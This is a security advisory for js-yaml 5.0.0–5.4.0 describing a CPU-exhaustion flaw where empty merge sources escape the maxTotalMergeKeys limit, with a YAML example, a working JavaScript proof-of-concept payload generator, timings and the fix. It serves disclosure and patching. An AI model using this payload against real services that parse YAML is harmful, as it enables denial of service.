Packages / js-yaml / Security

ModerateVulnerabilityGHSA-r3ph-w7gj-g6xmPublished 29 Sep 2026

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

Your version

Affected releases · js-yaml

  • 5.x5.0.0 – 5.4.0Fixed in 5.4.1

On 5.x, the newest line:

npm install js-yaml@5.4.1
Every release on a timeline
  1. Not affected

    0.2.0 – 4.3.2

    82 releases

  2. Affected

    5.0.0 – 5.4.0

    8 releases

  3. Fixed

    5.4.1 – 5.5.0

    4 releases, latest

94 stable releases of js-yaml, oldest to newest.

What happens

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

NYAML sizeTime
800~13 KB~20 ms
3200~50 KB~180 ms
20000~500 KB~13 s

Impact

When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count every merge source mapping as one budget unit in addition to counting its keys.